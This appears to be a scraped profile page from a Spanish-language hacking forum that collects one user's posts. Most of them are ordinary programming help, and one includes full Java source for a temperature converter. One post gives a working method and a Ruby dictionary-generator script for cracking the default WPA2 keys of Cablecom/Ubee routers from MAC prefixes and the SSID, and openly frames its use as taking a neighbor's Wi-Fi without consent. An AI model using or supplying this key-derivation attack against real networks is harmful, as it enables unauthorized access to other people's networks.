Muy bueno, como dice las horas productivas son pocas, y me quede con la misma pregunta, ya que dice que lo calcules en base a ciertos factores, pero no dice cuanto puede valer cada factor, el tiempo puede ser muy variable ya que uno puede estimar que se tarda al rededor de 6 semanas y puede y se extienda ese tiempo por algún motivo relacionado con el desarrollo, los métodos de desarrollo estoy de acuerdo que funcionan, pero realmente como sabes cuanto vale tu trabajo?
Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
#321
Off Topic / Re:Como saber cuanto cobrar por desarrollar software
Diciembre 07, 2015, 03:05:43 PM #322
Seguridad Wireless / Patron WPA2 cablecomxxxx [MEXICO]
Diciembre 04, 2015, 04:07:00 PM
Que tal, bueno les traigo un patron para sacar la contraseña de WPA2 de manera rapida y sencilla, les cuento, hace poco me quede sin internet y como buen usuario, le pedi la contraseña a mi vecino...(Mentira) y este no accedió, así que me tome la molestia de tratar de conseguir la clave, navegando por internet me encontre con un post de un usuario llamado Mackaber, este usuario lo que explica es como sacar la clave de los modems de cablecom y axtel, que cablecom en su mayoría esta usando la marca UBEE, sin mas les contare de manera resumida lo que dice Mackaber, el buscando mas acerca del router, encontro que los primero 6 dígitos de la MAC estaban registrados en la IEEE, el con la base de datos de las MAC programo un algoritmo para tener un DICCIONARIO y asi poderle hacer un ataque por diccionario después de obtener el handshake, supongo que no me estoy explicando muy bien, pero cuando lleguemos a lo practico lo entenderán mejor, lo que el dedujo fue que para obtener el password WPA2 por defecto, se utilizaban el 2 y 3 par de dígitos de la MAC ejemplo
XX:2F:A5:XX:XX, despues se usaba un par de numeros hexadecimales y por ultimo el nombre de la red.
Ejemplos reales:
MAC: 00:14:A4:00:01:23
SSID: Cablecom0123
Con esos datos conocemos un 80% la contraseña ya que usamos el segundo y tercer par de digitos de la mac para la contraseña, entonces queda de esta manera:
14A4XXXXXX
Con el nombre de la red tenemos lo siguiente:
14A4XX0123
Ahora solo queda decifrar el par de XX que es un par en hexadecimal
es muy simple y rapido si creamos un diccionario en vez de hacerle brute force y lo obtenemos en menos de 5 MIN
este es el codigo que programo Mackaber para hacer el diccionario:
Código: ruby
aca la base de datos de acuerdo a la mac,
La lista completa esta aca
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Pero no hace falta tener toda una lista a menos que lo hagamos a ciegas ya que escaneando la red te das cuenta de la MAC
solo tendrias que crear un diccionario para obtener ese par de numero hexadecimales y conociendo el nombre de la red
el post entero esta You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Lo probe y de verdad funciona, me tomo 5 min para sacar la contraseña, no se si me explique bien, ya que lo hice de manera rapida.
Saludos!
XX:2F:A5:XX:XX, despues se usaba un par de numeros hexadecimales y por ultimo el nombre de la red.
Ejemplos reales:
MAC: 00:14:A4:00:01:23
SSID: Cablecom0123
Con esos datos conocemos un 80% la contraseña ya que usamos el segundo y tercer par de digitos de la mac para la contraseña, entonces queda de esta manera:
14A4XXXXXX
Con el nombre de la red tenemos lo siguiente:
14A4XX0123
Ahora solo queda decifrar el par de XX que es un par en hexadecimal
es muy simple y rapido si creamos un diccionario en vez de hacerle brute force y lo obtenemos en menos de 5 MIN
este es el codigo que programo Mackaber para hacer el diccionario:
# For CablecomXXXX Routers (and probably others from Ubee)
# By Mackaber
# USE $ruby cablecomlistgen.rb "XXXX"
def makelist(suffix)
# Hon Hai prefixes taken from http://standards.ieee.org/develop/regauth/oui/oui.txt
keys = []
prefixes = []
File.readlines("hwlist.txt").each do |l|
prefixes.push(l[0..5])
end
prefixes.each do |pre|
for i in 0..255 do
keys.push("#{pre[2..-1]}#{i.to_s(16).upcase.rjust(2,"0")}#{suffix}")
end
end
keys.each do |key|
puts key
#File.write('file.txt', key+"\n")
File.open('file.txt', 'a') do |file|
file.puts key
end
end
end
makelist(ARGV[0])aca la base de datos de acuerdo a la mac,
Citar0014A4 (base 16) Hon Hai Precision Ind. Co., Ltd.
0029AF
0016CE (base 16) Hon Hai Precision Ind. Co., Ltd.
0016CF (base 16) Hon Hai Precision Ind. Co., Ltd.
00197D (base 16) Hon Hai Precision Ind. Co., Ltd
00197E (base 16) Hon Hai Precision Ind. Co., Ltd
001C25 (base 16) Hon Hai Precision Ind. Co.,Ltd.
001C26 (base 16) Hon Hai Precision Ind. Co.,Ltd.
001DD9 (base 16) Hon Hai Precision You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.,Ltd.
001E4C (base 16) Hon Hai Precision You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login., Ltd.
001F3A (base 16) Hon Hai Precision You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login., Ltd.
001FE1 (base 16) Hon Hai Precision Ind. Co., Ltd.
001FE2 (base 16) Hon Hai Precision Ind. Co., Ltd.
002268 (base 16) Hon Hai Precision Ind. Co., Ltd.
002269 (base 16) Hon Hai Precision Ind. Co., Ltd.
00234D (base 16) Hon Hai Precision Ind. Co., Ltd.
00234E (base 16) Hon Hai Precision Ind. Co., Ltd.
00242B (base 16) Hon Hai Precision You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.,Ltd.
00242C (base 16) Hon Hai Precision Ind. Co., Ltd.
002556 (base 16) Hon Hai Precision Ind. Co., Ltd.
00265C (base 16) Hon Hai Precision Ind. Co.,Ltd.
00265E (base 16) Hon Hai Precision Ind. Co.,Ltd.
0071CC (base 16) Hon Hai Precision Ind. Co.,Ltd.
083E8E (base 16) Hon Hai Precision You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
08EDB9 (base 16) Hon Hai Precision Ind. Co.,Ltd.
0C6076 (base 16) Hon Hai Precision Ind. Co.,Ltd.
0C84DC (base 16) Hon Hai Precision Ind. Co.,Ltd.
0CEEE6 (base 16) Hon Hai Precision Ind. Co.,Ltd.
142D27 (base 16) Hon Hai Precision Ind. Co.,Ltd.
18F46A (base 16) Hon Hai Precision Ind. Co.,Ltd.
1C3E84 (base 16) Hon Hai Precision Ind. Co.,Ltd.
1C666D (base 16) Hon Hai Precision You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
2C8158 (base 16) Hon Hai Precision Ind. Co.,Ltd
300ED5 (base 16) Hon Hai Precision You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
342387 (base 16) Hon Hai Precision Ind. Co.,Ltd.
3859F9 (base 16) Hon Hai Precision Ind. Co.,Ltd.
3C77E6 (base 16) Hon Hai Precision Ind. Co.,Ltd.
4437E6 (base 16) Hon Hai Precision You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
485AB6 (base 16) Hon Hai Precision Ind. Co.,Ltd.
4C0F6E (base 16) Hon Hai Precision Ind. Co.,Ltd.
506313 (base 16) Hon Hai Precision Ind. Co.,Ltd.
543530 (base 16) Hon Hai Precision Ind. Co.,Ltd.
5C6D20 (base 16) Hon Hai Precision Ind. Co.,Ltd.
5CAC4C (base 16) Hon Hai Precision Ind. Co.,Ltd.
60D819 (base 16) Hon Hai Precision Ind. Co.,Ltd.
60F494 (base 16) Hon Hai Precision Ind. Co.,Ltd.
642737 (base 16) Hon Hai Precision Ind. Co.,Ltd.
689423 (base 16) Hon Hai Precision Ind. Co.,Ltd.
70188B (base 16) Hon Hai Precision Ind. Co.,Ltd.
785968 (base 16) Hon Hai Precision You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.,Ltd.
78DD08 (base 16) Hon Hai Precision Ind. Co.,Ltd.
78E400 (base 16) Hon Hai Precision Ind. Co.,Ltd.
7CE9D3 (base 16) Hon Hai Precision Ind. Co.,Ltd.
8056F2 (base 16) Hon Hai Precision Ind. Co.,Ltd.
8096CA (base 16) Hon Hai Precision Ind Co.,Ltd
844BF5 (base 16) Hon Hai Precision Ind. Co.,Ltd.
889FFA (base 16) Hon Hai Precision Ind. Co.,Ltd.
8C7CB5 (base 16) Hon Hai Precision Ind. Co.,Ltd.
90004E (base 16) Hon Hai Precision Ind. Co.,Ltd.
9034FC (base 16) Hon Hai Precision Ind. Co.,Ltd.
90489A (base 16) Hon Hai Precision Ind. Co.,Ltd.
904CE5 (base 16) Hon Hai Precision Ind. Co.,Ltd.
906EBB (base 16) Hon Hai Precision Ind. Co.,Ltd.
90FBA6 (base 16) Hon Hai Precision You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
9439E5 (base 16) Hon Hai Precision Ind. Co.,Ltd.
9C2A70 (base 16) Hon Hai Precision Ind. Co.,Ltd.
9CAD97 (base 16) Hon Hai Precision Ind. Co.,Ltd.
9CD21E (base 16) Hon Hai Precision Ind. Co.,Ltd.
A41731 (base 16) Hon Hai Precision Ind. Co.,Ltd.
B01041 (base 16) Hon Hai Precision Ind. Co.,Ltd.
B8763F (base 16) Hon Hai Precision Ind. Co.,Ltd.
BC8556 (base 16) Hon Hai Precision Ind. Co.,Ltd.
C0143D (base 16) Hon Hai Precision Ind. Co.,Ltd.
C01885 (base 16) Hon Hai Precision Ind. Co.,Ltd.
C0CB38 (base 16) Hon Hai Precision Ind. Co.,Ltd.
C0F8DA (base 16) Hon Hai Precision Ind. Co.,Ltd.
C417FE (base 16) Hon Hai Precision Ind. Co.,Ltd.
C44619 (base 16) Hon Hai Precision Ind. Co.,Ltd.
CCAF78 (base 16) Hon Hai Precision Ind. Co.,Ltd.
D02788 (base 16) Hon Hai Precision You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
D87988 (base 16) Hon Hai Precision Ind. Co., Ltd.
E006E6 (base 16) Hon Hai Precision Ind. Co.,Ltd.
E4D53D (base 16) Hon Hai Precision Ind. Co.,Ltd.
EC55F9 (base 16) Hon Hai Precision Ind. Co.,Ltd.
F07BCB (base 16) Hon Hai Precision Ind. Co.,Ltd.
F0F002 (base 16) Hon Hai Precision Ind. Co.,Ltd.
F4B7E2 (base 16) Hon Hai Precision Ind. Co.,Ltd.
F80D43 (base 16) Hon Hai Precision Ind. Co., Ltd.
F82FA8 (base 16) Hon Hai Precision Ind. Co.,Ltd.
F866D1 (base 16) Hon Hai Precision Ind. Co., Ltd.
La lista completa esta aca
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Pero no hace falta tener toda una lista a menos que lo hagamos a ciegas ya que escaneando la red te das cuenta de la MAC
solo tendrias que crear un diccionario para obtener ese par de numero hexadecimales y conociendo el nombre de la red
el post entero esta You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Lo probe y de verdad funciona, me tomo 5 min para sacar la contraseña, no se si me explique bien, ya que lo hice de manera rapida.
Saludos!
#323
Dudas y pedidos generales / Re:Problemas con SquirrelMail en CentOS 5.9 x64
Octubre 28, 2015, 01:02:39 PM
Yo cuando realice la configuracion, utilice estos tutoriales, y no tuve ningun problema, son en ubuntu pero no hay mucha diferencia espero te sirva.
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
#324
Dudas y pedidos generales / Re:Problemas con SquirrelMail en CentOS 5.9 x64
Octubre 28, 2015, 02:03:08 AM
No recuerdo como se configuraba el servidor de correo, pero deberias checar el log para saber especificamente si es otra cosa lo que esta ocacionando el error aca te dejo unos links checalos!
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
#325
Dudas y pedidos generales / Re:Problemas Con URL
Octubre 27, 2015, 09:33:50 PM #326
Dudas y pedidos generales / Re:Problema para usar fruitywifi.
Octubre 03, 2015, 12:25:15 PM
Pues eso significa que ya esta corriendo y puedes acceder solo acepta el certificado SSL y listo podras entrar
#327
Dudas y pedidos generales / Re:¿Cuenta de facebook robada? :(
Septiembre 28, 2015, 09:28:03 PM
Es por que han tratato de ingresar a tu cuenta desde un lugar desconocido o dispositivo desconocido y al querer entrar solicitaron un cambio y bloquearon tu cuenta, tendras que esperar ese tiempo y configurar tu cuenta para que te llegue la notificacion a tu celular como lo comenta @You are not allowed to view links.
You are not allowed to view links.
Register or Login or You are not allowed to view links.
Register or Login
#328
Dudas y pedidos generales / Login ASP.NET y Active Directory
Septiembre 28, 2015, 12:50:37 PM
Buenas, pues aca ando comenzando a aprender de You are not allowed to view links.
You are not allowed to view links.
Register or Login or You are not allowed to view links.
Register or Login y quiero hacer un login con You are not allowed to view links.
You are not allowed to view links.
Register or Login or You are not allowed to view links.
Register or Login conectado a active directory, me habia encontrado con este tutorial You are not allowed to view links.
You are not allowed to view links.
Register or Login or You are not allowed to view links.
Register or Login, pero no lo entiendo al 100 %, me quede en el paso 3
, yo quiero conectarme a un servidor que tiene active directory desde mi aplicacion que estara alojada en otro servidor, pero no entiendo muy bien como hacerlo, si alguien tuviera un ejemplo sencillo y claro estaria perfecto, espero puedan ayudarme.
, yo quiero conectarme a un servidor que tiene active directory desde mi aplicacion que estara alojada en otro servidor, pero no entiendo muy bien como hacerlo, si alguien tuviera un ejemplo sencillo y claro estaria perfecto, espero puedan ayudarme.
#330
Dudas y pedidos generales / Re:[Duda] Contador con servicios WCF C#
Agosto 29, 2015, 05:07:14 PM
Te refieres a poner
Código: "c#"
? si es asi no funciona, ni al momento de correr el servicio y pasarle cont, ya que me dice que cont es una variable y no puede ser aceptado
public int contar(cont){
cont++;
}? si es asi no funciona, ni al momento de correr el servicio y pasarle cont, ya que me dice que cont es una variable y no puede ser aceptado
#331
Off Topic / Re:Guerra de cosas! ¿Qué elegís?
Agosto 28, 2015, 12:12:18 AM
hacking
hi5 o facebook?
xD
hi5 o facebook?
xD
#332
Dudas y pedidos generales / Re:Disco duro dañado.
Agosto 26, 2015, 10:37:38 PM
Usa otra distribucion linux live y puedes usar diferentes herramientas ya sea GParted, GDISK, CFDISK y formatear el disco duro borrando su contenido en totalidad
#333
Off Topic / Re:Feliz cumpleaños Gabriela!!!
Agosto 25, 2015, 10:34:02 PM
WTF tan perdido andaba que no sabia que era el cumpleaños de gabriela, pero espero estés teniendo un día excelente un sincero abrazo hasta donde estés, si haces fiesta me pasas la invitación
@You are not allowed to view links.
You are not allowed to view links.
Register or Login or You are not allowed to view links.
Register or Login
@You are not allowed to view links.
You are not allowed to view links.
Register or Login or You are not allowed to view links.
Register or Login
#334
Dudas y pedidos generales / [Duda] Contador con servicios WCF C#
Agosto 25, 2015, 10:17:17 PM
Que tal, venia a preguntar y si alguien me puede ayudar con respecto a un servicio de contador...
Tengo una función que cada vez que la llame me retorne el valor respecto a las veces que sea llamado el contador.

Ahi se encuentra mi funcion de contador pero no se como hacer para que aumente el valor ya que cada que invoco la funcion me retorna 0
Saludos y gracias!
Tengo una función que cada vez que la llame me retorne el valor respecto a las veces que sea llamado el contador.


Saludos y gracias!
#335
Hacking / Re:[BOT] Spotify Premium 1 mes (UbotStudio 4).
Agosto 13, 2015, 12:59:17 PM
Yo junto con un amigo realizamos uno parecido pero genera usuarios y contraseñas aleatorias, no lo compartimos por no querer quemar los métodos, pero igual se agradece y es algo muy sencillo solo con un click se ahorran esos pasos.
#336
Android / App Inventor
Agosto 11, 2015, 08:05:53 PM
Bueno, pues buscando por ahí algo relacionado con un proyecto que tengo, me encontré con una pagina que se llama App Inventor, en la cual puedes desarrollar aplicaciones android de una manera muy fácil sin tanto rollo y mejor para alguien que no sabe mucho de programación y quier crear una App.
Para ir directamente a crear la App damos click en el botón create que aparece de color naranja en la esquina superior derecha, luego nos pedirá iniciar sesión con nuestra cuenta Google aceptamos algunos términos y esteremos dentro.


Para empezar necesitamos crear un proyecto y le damos cualquier nombre, ahora nos mostrara la siguiente pantalla en la cual solo es arrastrar botones o funciones.
Ahí desplegué la opción de build para generar nuestro app para que vean un poco.

Este es un screen del lado del código en el cual ya están programadas las funciones tu solo arrastras lo que quieres que haga y lo configuras a tu manera sin estar en contacto directo en el código.

Espero les sea útil, creo que es una buena opción si necesitas hacer algo rápido y que no sea tan tedioso.
Saludos!.
You are not allowed to view links.
You are not allowed to view links.
Register or Login or You are not allowed to view links.
Register or Login
Para ir directamente a crear la App damos click en el botón create que aparece de color naranja en la esquina superior derecha, luego nos pedirá iniciar sesión con nuestra cuenta Google aceptamos algunos términos y esteremos dentro.


Para empezar necesitamos crear un proyecto y le damos cualquier nombre, ahora nos mostrara la siguiente pantalla en la cual solo es arrastrar botones o funciones.
Ahí desplegué la opción de build para generar nuestro app para que vean un poco.

Este es un screen del lado del código en el cual ya están programadas las funciones tu solo arrastras lo que quieres que haga y lo configuras a tu manera sin estar en contacto directo en el código.

Espero les sea útil, creo que es una buena opción si necesitas hacer algo rápido y que no sea tan tedioso.
Saludos!.
#337
Front-end / Re:[VIDEOTUTORIAL] Capacity: Programación y Desarrollo con javascript
Agosto 11, 2015, 06:05:09 PM
Muy bueno, ya lo ando bajando a ver que tal...
Gracias!
Gracias!
#338
Bugs y Exploits / Re:¿Quién te choco? Hackeando Patentes
Agosto 08, 2015, 02:24:53 AM
Tremendo post!!!! Felicidades muy buen aporte, aca en mexico es diferente ya que para consultar necesitas el numero de matricula mas aparte los ultimos tres digitos(dependiendo de la ciudad) de el numero de tarjeta de circulacion del vehiculo estos numeros son unicos y no se de que manera se calcula un numero de circulacion, pero felicidades me gusto bastante.
#340
Java / Conversor de temperatura
Julio 29, 2015, 04:05:35 PM
Bueno, me agarro un momento de oscio y me puse a hacer un conversor de temperatura asi que aqui les dejo el jar y el source, creo que se puede mejorar pero solo fue porque no tenia nada que hacer.

Código: java
Código: java

/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package temperatura;
import javax.swing.ButtonGroup;
/**
*
* @author rush
*/
public class Ventana extends javax.swing.JFrame {
/**
* Creates new form Ventana
*/
public Ventana() {
initComponents();
}
/**
* This method is called from within the constructor to initialize the form.
* WARNING: Do NOT modify this code. The content of this method is always
* regenerated by the Form Editor.
*/
@SuppressWarnings("unchecked")
// <editor-fold defaultstate="collapsed" desc="Generated Code">
private void initComponents() {
grupo1 = new javax.swing.ButtonGroup();
grupo2 = new javax.swing.ButtonGroup();
jRadioButton1 = new javax.swing.JRadioButton();
jButton1 = new javax.swing.JButton();
jRadioButton2 = new javax.swing.JRadioButton();
jRadioButton3 = new javax.swing.JRadioButton();
jLabel1 = new javax.swing.JLabel();
jLabel2 = new javax.swing.JLabel();
jTextField1 = new javax.swing.JTextField();
jTextField2 = new javax.swing.JTextField();
jRadioButton4 = new javax.swing.JRadioButton();
jRadioButton5 = new javax.swing.JRadioButton();
jRadioButton6 = new javax.swing.JRadioButton();
jLabel3 = new javax.swing.JLabel();
jLabel4 = new javax.swing.JLabel();
setDefaultCloseOperation(javax.swing.WindowConstants.EXIT_ON_CLOSE);
grupo1.add(jRadioButton1);
jRadioButton1.setSelected(true);
jRadioButton1.setText("Celsius");
jButton1.setText("Convertir");
jButton1.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
jButton1ActionPerformed(evt);
}
});
grupo1.add(jRadioButton2);
jRadioButton2.setText("Fahrenheit");
grupo1.add(jRadioButton3);
jRadioButton3.setText("Kelvin");
jLabel1.setText("Temperatura");
jLabel2.setText("Conversion");
jTextField2.setEditable(false);
grupo2.add(jRadioButton4);
jRadioButton4.setText("Celsius");
grupo2.add(jRadioButton5);
jRadioButton5.setSelected(true);
jRadioButton5.setText("Fahrenheit");
grupo2.add(jRadioButton6);
jRadioButton6.setText("Kelvin");
jLabel3.setFont(new java.awt.Font("Tahoma", 1, 11)); // NOI18N
jLabel3.setText("De");
jLabel4.setFont(new java.awt.Font("Tahoma", 1, 11)); // NOI18N
jLabel4.setText("A");
javax.swing.GroupLayout layout = new javax.swing.GroupLayout(getContentPane());
getContentPane().setLayout(layout);
layout.setHorizontalGroup(
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createSequentialGroup()
.addContainerGap()
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING)
.addGroup(layout.createSequentialGroup()
.addComponent(jLabel1)
.addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))
.addGroup(layout.createSequentialGroup()
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addComponent(jLabel2)
.addComponent(jTextField1, javax.swing.GroupLayout.PREFERRED_SIZE, 114, javax.swing.GroupLayout.PREFERRED_SIZE))
.addComponent(jTextField2, javax.swing.GroupLayout.Alignment.LEADING, javax.swing.GroupLayout.PREFERRED_SIZE, 114, javax.swing.GroupLayout.PREFERRED_SIZE))
.addComponent(jButton1, javax.swing.GroupLayout.Alignment.LEADING))
.addGap(18, 18, 18)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(javax.swing.GroupLayout.Alignment.TRAILING, layout.createSequentialGroup()
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addComponent(jRadioButton1)
.addComponent(jRadioButton3)
.addComponent(jRadioButton2))
.addGap(18, 18, 18))
.addGroup(layout.createSequentialGroup()
.addComponent(jLabel3)
.addGap(80, 80, 80)))
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addComponent(jLabel4)
.addComponent(jRadioButton6)
.addComponent(jRadioButton5)
.addComponent(jRadioButton4))
.addGap(50, 50, 50))))
);
layout.setVerticalGroup(
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createSequentialGroup()
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createSequentialGroup()
.addContainerGap()
.addComponent(jLabel1)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(jTextField1, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))
.addGroup(javax.swing.GroupLayout.Alignment.TRAILING, layout.createSequentialGroup()
.addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addComponent(jLabel3)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(jRadioButton1)))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createSequentialGroup()
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(jLabel2)
.addComponent(jRadioButton2))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(jTextField2, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(jButton1))
.addGroup(layout.createSequentialGroup()
.addGap(23, 23, 23)
.addComponent(jRadioButton3)))
.addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))
.addGroup(layout.createSequentialGroup()
.addGap(17, 17, 17)
.addComponent(jLabel4)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(jRadioButton4)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(jRadioButton5)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(jRadioButton6)
.addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))
);
pack();
}// </editor-fold>
private void jButton1ActionPerformed(java.awt.event.ActionEvent evt) {
Conv conv = new Conv();
float r;
//Celicus a celcius
if(jRadioButton1.isSelected() && jRadioButton4.isSelected()){
jTextField2.setText(jTextField1.getText());
}
//Celicus a Fahrenheit
else if(jRadioButton1.isSelected() && jRadioButton5.isSelected()){
r = conv.CaF(Float.parseFloat(jTextField1.getText()));
jTextField2.setText(Float.toString(r));
}
//Celcius a Kelvin
else if(jRadioButton1.isSelected() && jRadioButton6.isSelected()){
r = conv.CaK(Float.parseFloat(jTextField1.getText()));
jTextField2.setText(Float.toString(r));
}
//Fahrenheit a Celcius
else if(jRadioButton2.isSelected() && jRadioButton4.isSelected()){
r = conv.FaC(Float.parseFloat(jTextField1.getText()));
jTextField2.setText(Float.toString(r));
}
//Fahrenheit a Fahrenheit
else if(jRadioButton2.isSelected() && jRadioButton5.isSelected()){
jTextField2.setText(jTextField1.getText());
}
//Fahrenheit a Kelvin
else if(jRadioButton2.isSelected() && jRadioButton6.isSelected()){
r = conv.FaK(Float.parseFloat(jTextField1.getText()));
jTextField2.setText(Float.toString(r));
}
//Kelvin a Celicus
else if(jRadioButton3.isSelected() && jRadioButton4.isSelected()){
r = conv.KaC(Float.parseFloat(jTextField1.getText()));
jTextField2.setText(Float.toString(r));
}
//Kelvin a Fahrenheit
else if(jRadioButton3.isSelected() && jRadioButton5.isSelected()){
r = conv.KaF(Float.parseFloat(jTextField1.getText()));
jTextField2.setText(Float.toString(r));
}
//Kelvin a Kelvin
else if(jRadioButton3.isSelected() && jRadioButton6.isSelected()){
jTextField2.setText(jTextField1.getText());
}
}
/**
* @param args the command line arguments
*/
public static void main(String args[]) {
/* Set the Nimbus look and feel */
//<editor-fold defaultstate="collapsed" desc=" Look and feel setting code (optional) ">
/* If Nimbus (introduced in Java SE 6) is not available, stay with the default look and feel.
* For details see http://download.oracle.com/javase/tutorial/uiswing/lookandfeel/plaf.html
*/
try {
for (javax.swing.UIManager.LookAndFeelInfo info : javax.swing.UIManager.getInstalledLookAndFeels()) {
if ("Nimbus".equals(info.getName())) {
javax.swing.UIManager.setLookAndFeel(info.getClassName());
break;
}
}
} catch (ClassNotFoundException ex) {
java.util.logging.Logger.getLogger(Ventana.class.getName()).log(java.util.logging.Level.SEVERE, null, ex);
} catch (InstantiationException ex) {
java.util.logging.Logger.getLogger(Ventana.class.getName()).log(java.util.logging.Level.SEVERE, null, ex);
} catch (IllegalAccessException ex) {
java.util.logging.Logger.getLogger(Ventana.class.getName()).log(java.util.logging.Level.SEVERE, null, ex);
} catch (javax.swing.UnsupportedLookAndFeelException ex) {
java.util.logging.Logger.getLogger(Ventana.class.getName()).log(java.util.logging.Level.SEVERE, null, ex);
}
//</editor-fold>
/* Create and display the form */
java.awt.EventQueue.invokeLater(new Runnable() {
public void run() {
new Ventana().setVisible(true);
}
});
}
// Variables declaration - do not modify
private javax.swing.ButtonGroup grupo1;
private javax.swing.ButtonGroup grupo2;
private javax.swing.JButton jButton1;
private javax.swing.JLabel jLabel1;
private javax.swing.JLabel jLabel2;
private javax.swing.JLabel jLabel3;
private javax.swing.JLabel jLabel4;
private javax.swing.JRadioButton jRadioButton1;
private javax.swing.JRadioButton jRadioButton2;
private javax.swing.JRadioButton jRadioButton3;
private javax.swing.JRadioButton jRadioButton4;
private javax.swing.JRadioButton jRadioButton5;
private javax.swing.JRadioButton jRadioButton6;
private javax.swing.JTextField jTextField1;
private javax.swing.JTextField jTextField2;
// End of variables declaration
}
/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package temperatura;
/**
*
* @author rush
*/
public class Conv {
float FaC(float temp){
float c=0;
c = (5*(temp - 32))/9;
return c;
}
float CaF(float temp){
float f=0;
f = ((9*temp)/5)+32;
return f;
}
float CaK(float temp){
float k=0;
k = temp + 273.15f;
return k;
}
float FaK(float temp){
float k=0;
k = ((5*(temp - 32))/9)+273.15f;
return k;
}
float KaC(float temp){
float k=0;
k = temp - 273.15f;
return k;
}
float KaF(float temp){
float k=0;
k = ((9*(temp - 273.15f))/5)+32;
return k;
}
}


